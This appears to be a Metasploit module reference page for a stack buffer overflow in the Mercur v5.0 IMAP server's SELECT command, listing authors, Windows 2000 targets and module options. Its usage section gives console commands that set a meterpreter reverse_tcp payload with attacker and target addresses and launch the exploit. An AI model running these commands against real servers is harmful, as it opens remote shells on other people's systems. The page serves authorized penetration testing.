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Mercur v5.0 IMAP SP3 SELECT Buffer Overflow

Mercur v5.0 IMAP server is prone to a remotely exploitable stack-based buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability.


Rank

  • Average

Authors

  • Jacopo Cervini < acaro [at] jervus.it >

References


Exploit Targets

  • 0 - Windows 2000 Server SP4 English (default)
  • 1 - Windows 2000 Pro SP1 English

Development


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Usage Information

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msf > use exploit/windows/imap/mercur_imap_select_overflow
msf exploit(mercur_imap_select_overflow) > show payloads
msf exploit(mercur_imap_select_overflow) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mercur_imap_select_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(mercur_imap_select_overflow) > set RHOST [TARGET IP]
msf exploit(mercur_imap_select_overflow) > exploit


Module Options

IMAPPASS The password for the specified username
IMAPUSER The username to authenticate as
RHOST The target address
RPORT The target port (default: 143)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)